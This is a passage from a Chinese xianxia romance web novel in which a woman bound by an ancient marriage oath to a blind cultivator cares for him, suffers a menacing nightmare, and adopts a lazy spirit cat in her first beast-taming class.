还是姬家族长姬问解释,他才知道,大多道侣在誓心仪式上立下的只是同心契,而不
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是这来自上古的,几乎已经失传的,不可解除的并蒂芙蓉誓。
玄青岚是铁了心的要将玄家与他绑在一起,不知道从哪翻出来这么个不可解除的上古契约。
但很微妙的是,玄盈芙不知为何,在契约上,没有写下“玄”这个姓。
更微妙的是,哪怕她没有写全名,这契约竟仍然成立了。
盈芙轻轻拍了拍他的肩,劝道:“你先休息会吧,剩下的醒了之后再说。”
“你……不介意?”简溯月不解问。
他没有怀疑玄盈芙早知道这个契约,一来,他了解她的性格,她若是早知道,是不会同意的,二来,他能感觉到,她当时明显比他还茫然焦急。
用姬问的话来说,她看起来都快急哭了。
三来,玄青岚向来不在乎旁支,更深谙事以密成的道理,这种事,他大概不会提前告诉玄盈芙一家。
“介意还是介意的。”盈芙小声道,感觉怀中的人骤然绷紧了身躯,她轻轻拍他的肩,温声安抚道,“但是吧,车到山前必有路,咱们也不打算今天就解除契约对吧?所以不要急,现在最重要的事就是,你该好好休息一下了。”
简溯月额头抵在她肩头,盈芙看不清他的神色,只听他片刻后才低声道:“我会尽量寻找解除的方法。”
“嗯嗯,没问题,那现在先休息吧?”盈芙在他耳边轻声问道。
温热轻柔的气息拂过简溯月的耳畔,似春风吹过一片荒原,有百花随着春风盛开在荒原。
简溯月不自觉点了点头,头发拂过盈芙的脖颈,蹭得她痒痒的。
盈芙忍着没动,倒感觉他这模样有点乖巧。
她可能是整个修仙界唯一一个会觉得他乖巧的人。
她看他乖巧但疲惫的模样,愈发放轻了声音,哄着他扶着他往里间走去,让他在床畔坐下,正犹豫要不要帮他解开发冠,却听他道:“我不习惯在床榻上休息,寻一清静房间打坐即可。”
他说着就要站起身,却重心不稳往前晃去。
盈芙赶紧扶住他,忍不住问:“打坐算休息还是算修炼?”太拼了吧?!
简溯月不得已额头抵着她肩头,不由窘迫到脸颊微红:“休息亦是一种修炼,我去打坐片刻就好……”
盈芙一点点把他按到枕头上,无奈道:“别想着打坐了,你现在需要睡,乖,睡会吧。”
根据她多年的经验,他现在身累心疲,最需要的就是放松睡一觉。
她怕他还不死心要去打坐,不再犹豫,顺手帮他解下他的发冠发带,耳坠和眼上红绸。
简溯月僵硬地躺在枕头上,感受到她指尖轻轻拂过自己的额头,耳垂和眼睫,感受到她的温暖气息就在咫尺之间,一时不敢乱动,只是仍小声别扭地抗议:“我不用睡,我很久都没睡过了。”
盈芙怜悯地看他一眼,轻声哄道:“但你现在需要睡一觉,睡吧,什么都别想,醒来一切都会好的。”
随着她轻柔的声音,简溯月察觉到一片陌生却温暖的睡意缓缓涌了上来,将他的意识柔柔包裹,几乎令他无处可逃。
与此同来的还有更陌生的安心感。
简溯月疑惑着,却难以拒绝,而后他竟缓缓睡着了。
盈芙还不知道这是一件多破天荒的事,她只是在他睡着后,忍不住看了一会他的眼睛:睫毛又长又密,闭着时显得安静乖巧,不知道若是没有盲会有多漂亮。
真是可惜,希望修仙界早日出个医修天才吧。
她站起身伸了个懒腰,吃了一枚樱桃酥当午餐,吃的时候她在宫殿里乱转,忽然意识到这里又没有侍从了,难怪刚才那么安静。
那些侍从似乎是他专门为她安排的,她不在时,宫殿中便没有别人。
盈芙开始寻找午休的地方,很快便找到了一张长榻与一床崭新的被褥,而后她又搬来一扇青绿山水屏风挡在榻前,给自己临时搭了个封闭舒服遮光的小窝,懒懒散散地窝了上去。
下午她醒来后,去看了简溯月一眼,他睡得很熟,不知道还要睡多久。
……
玄青岚的书房里,珍璎哭着狂晃她爹的袖子:
“爹,你今天为什么要让他们立下并蒂芙蓉誓?这样一来,我再也没有机会成为他的道侣了!还让那个玄盈芙白得那么多的灵力直接变成飞升期,爹你为什么这么偏袒一个旁支??!”
8. 第 8 章
玄青岚怜惜地看着女儿,随她狂晃袖子,还抬起另一只手给她擦泪,温声解释:“我不是偏袒旁支,而是为了玄家,并蒂芙蓉誓能让所有人知道,简溯月已与玄家彻底绑定,让简溯月哪怕飞升了也摆脱不了玄家,他越强,玄家就越强。而且,如果简溯月有异心,杀玄盈芙可比杀简溯月容易多了,只要杀了她,就等于杀了简溯月。”
“杀他……?”珍璎呆呆抬头。
玄青岚轻轻抚摸她的头顶,温和但不容置疑地道:“我们是玄家人,我们要做的,是让玄家永远占据修仙界第一世家的位置,为此,即使是简溯月,若他挡了我们玄家的路,亦要杀。”
珍璎完全愣住。
玄青岚笑叹:“当然,我还是希望他能聪明点,别干这种傻事。只要他没有异心,这不可解除的并蒂芙蓉誓于他而言也是个保命符,其它门派其它家族再嫉妒他,也不敢与玄家为敌伤他分毫。珍璎,除了他,其他你看上谁,爹都给你弄过来,还有你之前想要的逐雷饮雪兽,爹再去派人给你找。”
……
简溯月已经睡了三天。
外面的流言蜚语也传了三天,越传越离谱。
“听说简仙君在誓心仪式后,急匆匆带着道侣回了家,然后直到今天,三天了都没出来!”
“嘶,简仙君……真厉害啊……”
“他真的太厉害了,谁能想到,他的灵力竟然相当于两个飞升期!!”
“怕是不止,你没听说,简仙君把灵力分给她后还帮她扛了七十二道天雷,毫发无伤!”
“天啊,他这么厉害,为何还没飞升?”
“飞升期之所以叫飞升期,那是因为天雷七十二道,接下来就该是八十一道天雷了,人们猜,如果能突破就能成仙了。但是万年了,还没人能突破过,没人知道到底需要多少灵力才能突破,也没人知道飞升期的上限在哪。”
“简仙君,应该已经是最接近成仙的人了。”
“你们忘了玄家那位闭关三百年的师祖了?这两人谁最接近成仙,还真不好说。”
……
简溯月睡着时,盈芙过得很轻松愉快:每日睡到自然醒,醒来吃些爱吃的,顺带看看他有没有醒。
然后她在宫殿内外散步,赏玩宫殿中的精美摆设,闲游宫殿外落满雪的亭台楼阁与冰封的湖泊。
宫殿外的走廊与那些亭台楼阁里都设有阵法,走进其中没有半点寒意,甚至觉得有春风拂面。
湖泊虽冰封,湖旁庭院内却有一座白雾缭绕的温泉,盈芙在里面泡了几次,感觉经脉都变通畅了,灵力更充裕了,她怀疑这泉水可能不是一般的水。
她偶尔还会挑个舒服的地方躺着,磕磕绊绊连猜带蒙地读话本。待到夕阳落山时,她最爱在窗边赏雪,看漫山大雪被染成金红色,看银色星河渐渐铺满苍穹,安静流淌。
是她上辈子一直渴望的宁静生活。
直到简溯月睡着的第三天晚上,盈芙做了一个梦。
她梦见半夜被一只冰冷的手握住了脖子,提了起来。
“疼……”她两只手本能地去掰那只手,但以她如今修为,竟根本掰不动一点。
她气都快喘不上来了,眼前一阵阵发黑,但勉强看清了那人的面庞:
他有一双漂亮至极,但充满冰冷杀意的眼眸。
他的瞳孔与常人不同,竟是幽紫色,其中还隐有金色的星辰虚影浮落。
盈芙对这双漂亮眼睛很陌生,却对这人的下半张脸很熟悉:那鼻梁的高度,唇弓的弧度,脸颊的线条,分明与简溯月一模一样?!
盈芙愕然,艰难地从嗓子里挤出声音:“你是谁……?”
“简溯月”微微歪头,未束起的长发散漫滑落肩头,他嘴角勾起一个玩味的笑意:“你不认识我?”
盈芙:“……”这话说的,我应该认识您这位变态虾仁狂吗?
“简溯月”饶有兴趣尾调上扬地“哦”了一声,又问:“你的系统,没告诉你?”
盈芙顿时一个激灵,惊恐看他:他怎么知道系统的存在,她都快把它忘了……咳咳。
“我跟它呀,可是老熟人了。”“简溯月”微笑着收紧了扼住盈芙脖颈的手指,目光中没有半点笑意,只有令人心惊胆战的冰冷杀意,“告诉我,你们这次的计划是什么?”
盈芙思绪涣散地想:计划是……要被掐死了……
“简溯月”一顿,微微松开了些手指,让她能喘口气。
盈芙拼命呼吸,眼前阵阵发黑,已经看不清东西了,但还能听到他的声音:“你怎么这么弱,飞升期能被掐死,修仙界的笑话里你可以排第一。”
盈芙:“……”谢谢哦还给我个第一?
在此之前,她很难想象,简溯月那副清冷的嗓子居然还能发出这样嘲讽嫌弃的声音。
不,他根本不是简溯月,他到底是谁?
“简溯月”不耐烦道:“够了,告诉我,你们的计划是什么?”
盈芙愈发茫然:什么计划?哪来的计划?没人通知她啊?
她感觉到扼着她脖子的手指陡然收紧了。
“别装了,如果它什么都没告诉你,那你是怎么想到夺取我灵力的?”“简溯月”的声音愈发森冷。
‘夺取他的灵力……?’盈芙茫然地想,她哪有……哦,想起来了,在誓心仪式上,结下那个并蒂芙蓉誓后,简溯月的灵力分了她许多,可那又不是她故意的,她和简溯月都算是被他师尊骗了,谁能想到那不是常用的同心契,而是个快失传的上古契约啊。
而且他又不是简溯月,跟他何干?他怎么会说是他的灵力?
“并蒂芙蓉誓……”“简溯月”缓缓地念着,那一字一字念的认真语调与原本的简溯月有了些相似。
盈芙陡然愣住:她现在被掐得根本说不出话来,他是怎么听到“并蒂芙蓉誓”这五个字的?!
“简溯月”仿佛听到了她心里在想什么,讥讽笑道:“看来它真的什么都没告诉你,你……”
他突然消失了。
盈芙“啪叽”摔到了地上,她顾不得摔得生疼,一边咳嗽一边拼命呼吸,头一次觉得空气是如此的珍贵。
而后她忽然惊醒了,在被窝里咳嗽着出了一身冷汗。
她抱紧了温暖的被子,借着夜明珠灯的光惊恐环顾周围:没有那个人的身影。
刚才应该只是做了个噩梦,可那种窒息的感觉,那摔在地板上的疼太真实了……
她又提心吊胆地躺了会,待那种可怕的感觉减弱后,先是起身找到镜子照了照,确定脖子上没有任何伤痕。
然后她鼓起勇气,拿起夜明珠灯,去简溯月休息的房间看了一眼:
他仍然睡着,睡得很沉,蝶翼般的睫毛在他脸颊上落下一小圈阴影,会随着他的呼吸微微抖动,有点可爱。
这才是她认识的简溯月。
刚才应该真的只是个噩梦,可能是因为她太内疚了,才会梦见“简溯月”找她“索命”?而且在这个世界,除她以外,应该没有人知道系统的存在吧……
盈芙猛地松了口气,离开房间关好门,重新躺回她的小窝里。
但愿这次别做噩梦了。
要做也请换个人的脸好吗?拿简溯月的脸说那些反派的台词,实在太违和了。
但是那双眼睛真漂亮啊……
……
次日上午,刚起床的盈芙听见了敲门声。
她穿好外衣,随手挽了个简单发髻去开门。
门外是一个年轻男子。他将盈芙上下打量一通,目光由揶揄渐渐到呆愣:好美的人,杏眸芙蓉面,眸中还有刚睡醒的朦胧水光,长发简单一挽,有几缕调皮发丝落在她雪白颈间,不施粉黛却如出水芙蓉般清丽动人。
“难怪他宁愿得罪那么多人也要选你,他还真是好福气。”这人忽然酸酸道。
盈芙:“……?你是谁?”
“哦,我是你道侣他师兄,谢卓,他人呢?”谢卓撇了撇嘴,藏起酸意,嘻嘻笑道,“他怎么让你开门?难道是累坏了?”
盈芙听出他的阴阳怪气,不客气道:“我乐
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意开,你来有什么事?”
谢卓耸了耸肩:“也不是啥大事,师尊派我过来看看他的情况,怎么三天都不出门。”
盈芙想了想他的情况,答道:“他应该快醒了,你可以回去了。”
谢卓震惊好久,神色古怪道:“……你还真是挺有本事,难怪他被你迷得魂都快没了。”
盈芙:“?”他是怎么得出这么荒谬的结论的?
谢卓怪笑两声走了。
盈芙无语地看着他离开,一扭头却见到衣着整齐的简溯月脸颊微红地站在不远处。
“你醒啦!”盈芙顺手关好门,开心走到他旁边,笑吟吟地问,“睡得怎么样?”
简溯月点点头:“很好。”
有记忆以来,他从未有过如此好的睡眠,直到谢卓来了,他才被打扰苏醒。
只是因为要整理仪容,他晚了些出来,出来时正听到谢卓说那些不着边的胡话。
他正准备直接把谢卓直接弹出雪玉峰,谢卓自己走了,躲过一劫。
他抿了抿唇:“你别听他胡说。”
盈芙点头,摆了摆手:“懒得搭理他,你想吃点东西吗?”
简溯月“看”着她亮晶晶的眼睛,点头。
盈芙带着他来到桌前,中间路过青绿山水屏风,简溯月的神识扫过屏风后铺好柔软被褥的长榻,惊讶:“这几日你睡这里?”
盈芙:“对呀。”
简溯月:“……你已是飞升期,按理说是不用睡觉的。”
盈芙:“……比起打坐,我还是更习惯睡觉。”什么休息亦是修行,她不行,她的休息只能是休息。
简溯月沉默片刻,道:“我唤人更换下寝屋的摆设,这三日委屈你了,抱歉。”
他原以为她到飞升期就不会睡觉了,所以没考虑到她这三日在哪睡。
而且她若是依旧习惯睡觉,总不能一直睡外面的榻,那张他睡过的床……她也许会介意。
除了更换房间摆设,要说也能干脆再改一间屋子做新寝屋,但这样一来,外面也许会有些流言蜚语……还是算了,反正日后他应该不会再睡那间屋子了,还是换摆设吧。
盈芙不知道他心中的千回百转,潇洒地摆了摆手:“没事,不用道歉,我在这也睡挺好的,先来吃点东西吧!”
说着,她从储物香囊里拿出了好几样点心:荷花酥,樱桃毕罗,桂花糕,竹茶糕,牡丹水晶糕……琳琅满目,宛如百花绽放,那桌子顷刻变成了一个芬芳馥郁的“花园”。
简溯月还沏了茶,两人就着茶慢慢品尝着点心,时间宁静悠长。
盈芙也会介绍几句点心的来历或者制作过程,介绍时,目光难免偶尔会掠过他的脸庞,看着他闭上的眼睛,她不由想起昨晚梦中见到的他睁眼的模样,那真是双勾魂摄魄,美到极致的眼睛。
遗憾,太遗憾了。
她不由摇头轻叹。
“怎么了?”简溯月轻声问。
盈芙摇头:“没……”
她话未说完,又听到了一阵敲门声。
“今天怎么这么热闹?”盈芙看向门口,有点不想动了。
简溯月主动站起身:“这次我去。”
盈芙乐得清闲,在原地等他回来,片刻后却见简溯月手中拿着一本册子回来了。
“给你的。”简溯月将册子递给她,“我师尊给你安排了课。”
“课?什么课,不会是……?”盈芙茫然又害怕地接过册子,心中有种不祥的预感,打开一看,那册子上写着密密麻麻的课程安排。
‘怎么都穿越了还要上课啊?!’盈芙绝望地看着这些字,勉强辨认出这些课程的名称:心法入门,剑法基础,身法训练,修仙入门与常识,基础药理,初识星辰,御兽入门……这都是什么跟什么?!
简溯月用神识“看”了一眼册子上的内容,安慰道:“别担心,都不难的。”
盈芙冷笑:我会信你这个天才说的不难吗?
就算不难,怎么这么多课程哇,谁家课程表是一本册子???
9. 第 9 章
盈芙看起来还坐着,但其实已经走了一会了。
她绝望地看着册子,发现连晚上都被安排了满满的课,顿时有气无力地趴在桌子上,感觉荷花酥都黯然失色了。
大约是秋天到了,荷花凋谢了,她也凋谢了。
不必挽留,就让她谢了吧,谢了就不用上这些要命的课了。
简溯月看着她这副模样,忍住嘴角笑意,劝道:“你如今已有飞升期的修为,进行修炼能帮你掌握使用那些灵力。”
盈芙捂住耳朵摇头,又叹:“那不是我的灵力,我迟早有一天得还给你的。”
简溯月却道:“如果有一天我们能解除誓约也不必还了,当作我的赔礼吧,这次是我牵连了你。”
盈芙震惊了,谁的赔礼能赔出个飞升期修仙者哇?!
偏偏简溯月没觉得离谱,还宽慰她:“别担心,那些灵力不算什么,我很快就能修炼回来的。”
盈芙有点恍惚:对不起,是我小瞧这位万年一遇的天才了。
“不过,我也觉得这些课不太合理。”简溯月“望”着册子沉吟,“太散,太杂,倒像是……”单纯为了把她的时间占满。
盈芙趴在桌子上不满哼哼道:“倒像是掌门的报复,他夫人就报复过我,现在是他报复,他们都觉得是我抢走了你这个宝贝。”
简溯月耳尖微红,低声道:“不是你抢的……你若实在不想上这些课便罢了,我去找师尊求情。”
盈芙愣住,果断摇头:她可还记得他师尊刚坑了他一个大的,她不想让他为了她的事去向玄青岚低头。
而且她刚因为没文化吃了个大亏,最起码,她不能在这里当文盲吧?
盈芙缓缓坐直身,重新打量那本册子上的课程:要不挑几门课随便上上?一天最多上一门!
剑法身法什么的就不考虑了,一看就很累。心法应该是最基础的,得选一下,修仙入门与常识看起来不错,适合她了解这个世界,可以选。星辰那个是观星吗?她有点兴趣,又怕看着看着睡着,嘛,不选了,以后可以去蹭课,还不用考试……
“我只选心法入门,常用基础仙术,修仙入门与常识,常用修仙字符,这四门课可以吗?”盈芙询问简溯月。
简溯月颔首:“可以,不过,你打算走哪条修炼路径呢?”
盈芙:“修炼路径?”
简溯月:“比如剑,琴,占卜等等。”
盈芙懂了:没选专业课!
她重新打量这些课程里的专业课:不要太累的,不要太无聊的,不要太复杂的……
她的目光落在了“御兽入门”四个字上。
御兽的话,是不是可以选一只灵兽作同伴?上课内容是不是喂养毛茸茸?
她仿佛已经看到了一只毛茸茸的可爱灵兽在向她招手,喵喵道:“快选御兽喵!轻松有趣简单喵!”
“我要学御兽!”盈芙头一次对上课有了期待。
简溯月:“好,那便五门课,我去帮你修改。”
盈芙看着身旁特别好说话的天才,忽然有点心虚和好奇:“你当时一天上几门?”
简溯月回忆了一下:“一个时辰一门,每天十一门课,还有一个时辰的休息时间。”
盈芙震惊又怜惜地望着他,又听他补充道:“不过我没上课太久,只上了三年。”
盈芙惊讶:“为什么?”难道是课太多太密给他整厌学了?他也会厌学?
“学完了。”简溯月答道,“没有课程了。”
盈芙:申请翻译。
被天才吓晕。
简溯月看着她的生动表情,不自觉微微扬起嘴角。
随后他出门了一趟,回来时册子变成了一张薄纸,还有几个侍从把寝屋里的床与被褥都换成了新的。
盈芙没在意寝屋的变化,反正这是他自己的宫殿,他想怎么折腾就怎么折腾。
她只是看着纸上寥寥数行字,露出咸鱼得意的灿烂笑容:很好,每天只有一门课,而且五门课里只有一门《常用基础仙术》是上午的,剩下四门都是下午的课程,这就意味着不用早起了!
更令咸鱼心情大好的是:因为课程没安排满,上两天就能休息一天!偶尔还能上一天歇两天!
盈芙开心地看向简溯月:“谢谢你帮忙!真是救命之恩!唔,我是不是也要送你份谢礼?”
都怪他,她现在也开始满脑子各种礼了。
简溯月礼貌性想答不用,话到嘴边却说不出来。
更说不出来的是,他竟有点期待她的礼物。
简溯月沉默了。
盈芙后知后觉自己给自己挖了个超级陨石坑,她得送什么礼物才能跟他送的礼物媲美?
这位的大方程度在修仙界里都能排第一了吧?
但话都放出去了,陨石坑也是自己挖的,她哭着也得把坑填上。
而且她发现,自己没有很讨厌这个坑,甚至有点跃跃欲试……可能因为他最近帮了太多忙吧,别的不说,就那七十二道天雷,他是真的仗义,全替她扛了,盈芙确实感激。
“那,你有个心理准备,可能跟你送的没法比。”盈芙小声道。
简溯月:“不必比。”
盈芙安了心,又吃了两枚点心,她就开始做准备了:按照课程表,下午她即将迎来她的第一节课。
修仙界是没有寒暑假的,其他人一直在上课修炼,只有她情况特殊成了个插班生。
盈芙有点紧张,但更多的是激动:这节课正是《御兽入门》,她要有自己的毛茸茸了!
上辈子盈芙一直想养,却没空养,这一次她终于能圆梦了!
但因为她身份特殊,加上现在一身惊人的飞升期修为,她怕吓着自己的老师和同学们,也怕自己的一举一动被人盯着,随时随地传遍修仙界,就从前几日宾客们送的礼物里找到了一张可以改变容貌的面纱,又戴上了一对能掩盖修为的手镯——这是简溯月之前送的礼物之一,她那时觉得这对翡翠手镯很漂亮,就带了过来。
她戴上手镯和面纱,正想问简溯月效果如何,还能不能认出来她,一扭头看见简溯月眼上蒙着的轻纱,陡然被戳到了笑点:她和简溯月,一个蒙面只露眼,一个蒙眼只露面,真是一对神秘但互补的道侣。
简溯月不知道她在笑什么,但看见她笑,嘴角也不自觉跟着扬起,被他察觉后又迅速压下去。
盈芙边笑边向他解释自己的笑点,这次简溯月唇边的弧度再也压不下去了,他也没忍住笑了起来,似雪山融化,若荒原逢春,晃了盈芙的眼,勾了盈芙的魂。
盈芙不自觉看了他许久,直到他敛起笑意却敛不住脸颊红云,两人一齐扭头移开自己的视线或神识视野。
微妙的气氛在屋中弥漫,盈芙匆匆起身:“我去午休!”
她现在其实既不用睡也不用吃,但睡和吃是她不可撼动的爱好,尤其下午还要去上课,一个舒爽的午觉是必不可少的。
当盈芙惬意醒来,她慌张发现:马上就到上课时间了,但时间已经不够她坐鹤车过去了。
‘可恶啊修仙界怎么就没个闹钟!!!’
她急匆匆地收拾好自己,不好意思地敲响了书房的门:只能再麻烦他一次了。
简溯月打开房门,盈芙拧着手小声说明自己的来
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意,简溯月直接向她伸出手,无比自然流畅,甚至有种等候已久的感觉。
盈芙有那么一瞬怀疑他是故意没叫醒她,但这不可能吧,她迟到,他就得送她,他给自己添麻烦做什么?
盈芙将手放到他的掌心上。简溯月握住她柔软温暖的指尖,停顿一瞬,发动了千里一步。
眨眼间,两人来到了一片森林与草原与湖泊的交界处,眼前是几座木屋。
盈芙环顾四周,她如今虽然还没会几个法术,但视力听力有明显的提升,能感知到很远地方的动静,比如那波光粼粼的湛蓝湖泊中有鱼成群,茂密幽深的森林里穿梭着飞鸟,几只鹿正悠闲漫步,草丛里还有狐狸探头,无边无际的翠绿草原上有几个年轻弟子正带着各自的灵兽聚集在一起。
其中一人举起一只异瞳猫,高兴道:“我的宝宝昨天学会三连后空翻了!来宝宝,给大家表演一个!”
那只异瞳猫喵了一声,从她手中跃起来,在空中来了个三连后空翻,然后优雅落地。
周围响起一片掌声和叫好声。
盈芙隔着老远也跟着鼓掌:不愧是修仙界的猫,连后空翻都能翻三个!
看着这些弟子身旁的各种可爱灵宠,盈芙知道:这地方,她来对了!
“简仙君您怎么亲自来了?!”
盈芙忽听一人惊呼,向声音来源看去:有个一身轻便猎装的青年从屋里疾步迎了出来,满脸紧张地走到了简溯月面前,低着头仿佛要等他吩咐。
简溯月:“……重林长老,按辈分我是您的师侄。”
虽然这人声音一如既往的清冷,但朝渡隐约感受到了他的些许无奈,咦,是因为那并蒂芙蓉誓的影响吗?
“谁敢管您叫师侄啊哈哈哈我是说大家都叫你简仙君,我也叫习惯了。”重林长老满脸尴尬笑容,盈芙可算懂了“简仙君”这个称呼的由来。
大约是简溯月辈分不高,但因为他的实力太彪悍,以至于没几个人敢以他的长辈身份自居,最后不知是谁搞出了一个同时带点尊敬和调侃意味的称呼“简仙君”。
重林长老又看向盈芙,笑问:“这位就是您的道侣?嗨呀果然是貌若天仙,您还亲自送她来,果然传言是真的。”
盈芙:“?”什么传言?
简溯月也不知道什么传言,只礼貌道:“劳烦您多照顾她一些,她基础比较薄。”
重林长老连连点头:“包在我身上!仙君您放心!”
盈芙:“……”这长老真没有长老架子。
简溯月又同盈芙道:“我一个时辰后来接你?”
盈芙不好意思地点了点头,这边没有鹤车,离雪玉峰有几座山那么远,只能麻烦他来接了。
重林长老忽然发出“啧啧”两声,用一种很微妙的目光在两人身上来回打转。
盈芙和简溯月:“……”
简溯月的身影原地消失。
盈芙也很想消失,但为了毛茸茸,她鼓起勇气主动打招呼:“重林长老好。”
“你好你好。”重林长老笑眯眯道,“哎,你怎么不跟简仙君学剑呀?他的剑法可是天下无双呀。”
盈芙:“唔,我对剑没有兴趣。”
重林长老遗憾叹气,又问:“那怎么想起来学御兽了。”
盈芙有点不好意思直说自己喜欢毛茸茸,便答道:“因为对御兽有兴趣。”
答完她自己都感觉:太人机了。
重林长老似乎也无语片刻,又重新提起笑容道:“那这样,你先去选个合眼缘的灵兽同伴?这门课需要你跟灵兽一起完成。”
盈芙眼睛都亮了:她等的就是这一刻!
10. 第 10 章
重林长老又补充道:“不过嘛,因为这是入门的课程,为了学生的安全考虑,只能从一些危险性比较低的灵兽里选同伴,比如猫猫狗狗,小兔子小鹿之类的。”
说完,他偷偷打量玄盈芙的脸色,生怕这位恃宠而骄,心里没点数,一张嘴就要这里最尊贵最厉害的灵兽。
却见玄盈芙连连点头:“没问题!”
倒是比他想的好说话许多。
重林长老松了口气,脸上有了点真心实意的笑容,又问:“你大概想要什么样的灵兽同伴?”
盈芙毫不犹豫:“想要毛茸茸的,懒的。”
重林长老:“……懒的?”
盈芙不好意思地笑了笑:她深知自己这种低精力的人养不了高精力的兽,养个跟她一样懒的正正好。
重林长老沉默片刻,忽然大笑:“您可真是有趣!简仙君好眼光!”
盈芙:……不用强夸的,真的。
谈笑间,重林长老将她带到了湖畔一大片用篱笆圈起来的地方,里面有各种可爱的小房子,还有更可爱的毛茸茸们!
盈芙直接两眼放光:好多毛茸茸的小可爱!!!啊看这小耳朵,看这大尾巴,看这山竹爪子……只是看着都好幸福……
重林长老道:“这里面的都是没什么危险的,你可以随便挑,不过你要是想要懒的,最懒的是那个——”
盈芙顺着重林长老的手指,看到了一只在小房子里睡得四仰八叉,毫无形象的白毛猫咪。
“我们这里,属它最懒,除了吃饭就没见它动过,有时候连吃饭都是躺着吃的。”重林长老“啧啧”摇头,“这么懒,还能吃,这里饭量最大的就是它了。”
盈芙:“哇哦!”这么能吃能睡,听起来就跟她很合拍!
“我想见见它可以吗?”盈芙问。
“当然可以。”重林长老一抬手,那只猫咪就从它的小窝里飞了出来。
它浮在半空,艰难地睁开眼看向篱笆旁的两个人,一脸刚被吵醒的迷茫和不满,爪子刚一落地,就迫不及待地往自己的小屋奔,然后背对着两人继续躺下睡觉。
“你看,它就是这样。”重林长老耸了耸肩,“又懒又不亲人,在我们这好几年了,都没人选它当同伴带它离开这。”
盈芙却觉得它的表情和动作都颇为可爱,于是道:“能劳烦重林长老把它再带过来一次吗?”
“当然。”重林长老再次抬手,它这次浮空时还对两人凶巴巴地呲了呲牙,一落地就继续往回跑,但没跑几步,它忽然抽了抽鼻子,停下了脚步,回头向盈芙看去。
盈芙身前,摆了一大盘灵气充裕香气扑鼻的猫饭——是她中午托后厨做的,用的都是极好的食材。
不止这只猫咪,其它灵兽也纷纷向这个方向张望起来。
盈芙笑吟吟地看那只灵猫在原地犹豫,徘徊,最后一咬牙,向她身前直奔而来,像两天没吃过饭一样将猫饭一扫而空,吃完却毫不留情,转头就走。
盈芙在它身后笑问:“咪,你想每天吃这些吗?”
灵猫停住脚步,缓缓扭头,不可思议地,充满惊喜地看向盈芙。
盈芙从它漂亮的蓝色眼睛中读出了四个字:“人,真的吗?”
盈芙笑着点头,向它伸出手:“咪,是真的。”
这只灵猫晃了晃它比其它猫长出一截的尾巴,迟疑着向盈芙靠拢了过来。
盈芙又给它拿了一盘小灵鱼干,它眼睛一亮,当即又把盘中一扫而空。
重林长老“啧啧”道:“这么能吃啊……平时也没饿着你吧?”
灵猫瞪了他一眼,然后往盈芙的腿边靠了靠,略显生疏地蹭了一下,“喵”了一声。
盈芙:“!!!”啊——好可爱——!!!
她没忍住,蹲下来摸了摸白猫毛茸茸的脑袋,它僵了一下,但没有拒绝。
盈芙又向它伸出手,笑吟吟问:“咪,愿意跟我走吗?”
白猫优雅矜持地把自己的山竹爪子放到了盈芙手上,意思很明显:人,我跟你走。
重林长老笑问:“就它了?”
盈芙抱着它站起来,点头:“就它了!”
重林长老长呼一口气,鼓掌道:“可算把最能吃的一只送走了,以后这喂灵兽的伙食费能省一半。”
白猫本来在盈芙怀中僵硬装死,闻言又扭头白了重林长老一眼。
重林长老被逗得哈哈直笑。
接下来,盈芙在重林长老的指导下,为白毛小猫起名雪团,与这只小猫缔结了契约,正式成为了它的主人。
成功契约后,盈芙领了自己的第一个课程小任务:跟自己的灵兽同伴熟悉起来。
当简溯月来接盈芙时,她正用逗猫棒跟那只白毛小猫玩得不亦乐乎。
盈芙见简溯月过来,开心地想抱起小猫给他看看,却见小猫骤然炸毛,躲到了她身后,警惕至极地盯着简溯月。
盈芙同简溯月解释:“它有点怕生,以后你多喂它几次就熟悉了!”
又蹲下来安抚小猫,轻声道:“雪团,没事的,他是我的好朋友,不会伤害你的。”
雪团依旧警惕地望着简溯月。
简溯月也望着它沉默不语。
盈芙隐约感受到一人一猫间的剑拔弩张,转移话题道:“咱们先回家?”
简溯月颔首,向她伸出手。
盈芙抱起想躲的小猫向他走去,伸出一只手落在他掌心上,一眨眼就回到了藏琼宫里。
盈芙抱着小猫开心转圈:“你看你看,以后这也是你的家啦。”
小猫敷衍地“喵”了两声,一直在偷瞄简溯月。
盈芙没发现,继续逗它:“今晚想吃什么?我找人给你做。”
小猫顿时眼神都清澈了,晶蓝瞳孔都变圆了,连喵好几声。
盈芙:“……”听不懂猫语,她试探问:“还是刚才你吃的猫饭?”它看起来很爱吃那些的样子。
小猫连连点头,又不太熟练地蹭了一下她的手。
盈芙:“!”幸福到想昏过去。
吃的问题解决了,接下来是住的问题。
“你想住哪?”盈芙问小猫,又立刻想起简溯月,询问,“你介意让它住这里吗?”
简溯月没有说话,但盈芙感觉到了他的些微
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抗拒:“唔……那让它住偏殿可以吗?我记得那里好像没人住。”
简溯月点头,小猫似乎也很高兴,直接就向门口冲了过去,对着关上的门连喵带扒,看起来很想出去。
盈芙走过去打开门,看它猛地蹿出去,一身白毛几乎要和外面的雪地融为一体,只有一双蓝宝石般的眼睛显眼一些。
但那双眼中此刻盛满了畏惧,正紧盯着站在正殿门口的简溯月。
盈芙沿着不会积雪的暖玉路走到西偏殿,推开殿门,对它招了招手:“来这里。”
它犹豫了一下,看了看远处的悬崖和群山,又看向盈芙,最后以惊人的弹跳力直接从雪地里跳到了盈芙脚边。
盈芙重新把它抱起来,轻轻拍掉它毛上沾的雪,小声道:“你不用那么怕他,他人很好的,虽然看起来有点冷冰冰的,其实很温柔的。”
暖玉路上,听力极好的简溯月:“……”
他的耳尖微微红了点,但若不细看很难看出来。
小猫敷衍地“喵”了一声,盈芙就当它认同了,抱着它进入偏殿里,偏殿中也有保暖的法阵,里面暖洋洋的,小猫从她怀里跳了下来,在铺着毛毯的地上舒服地伸了个懒腰,显然很满意这里。
但它忽然僵住炸毛,随即往盈芙脚边靠了过去,警惕地看向门口。
盈芙一扭头就看到了门口的简溯月,有点惊喜,没想到他看起来不喜欢这小家伙,实际上还挺上心的。
简溯月走到了她身旁,“俯视”着那只炸毛的白猫,忽然问:“这是重林长老给你的?”
盈芙摇头:“是我自己选的,那些灵兽里,数它最懒,跟我最像。”
想起初见它时,它睡得四仰八叉的样子,她笑了笑,又陡然僵住:等等,该不会她第一次见简溯月时,在他眼里也是这种形象吧?
她心虚地回忆,自己那时应该睡得没那么狂野吧……
“它不是一般的灵猫。”简溯月淡淡道,“但你既然喜欢,而且已经与它结了契,它伤不了你,也可以留下。”
盈芙茫然地看向忽然逃远的小猫:“它不是一般的灵猫?那它是……?”
“追雷饮雪兽。”简溯月抬起手,把那只躲起来的猫隔空抓了过来,指尖弹出一个光团落到它身上,它陡然现出了原型:
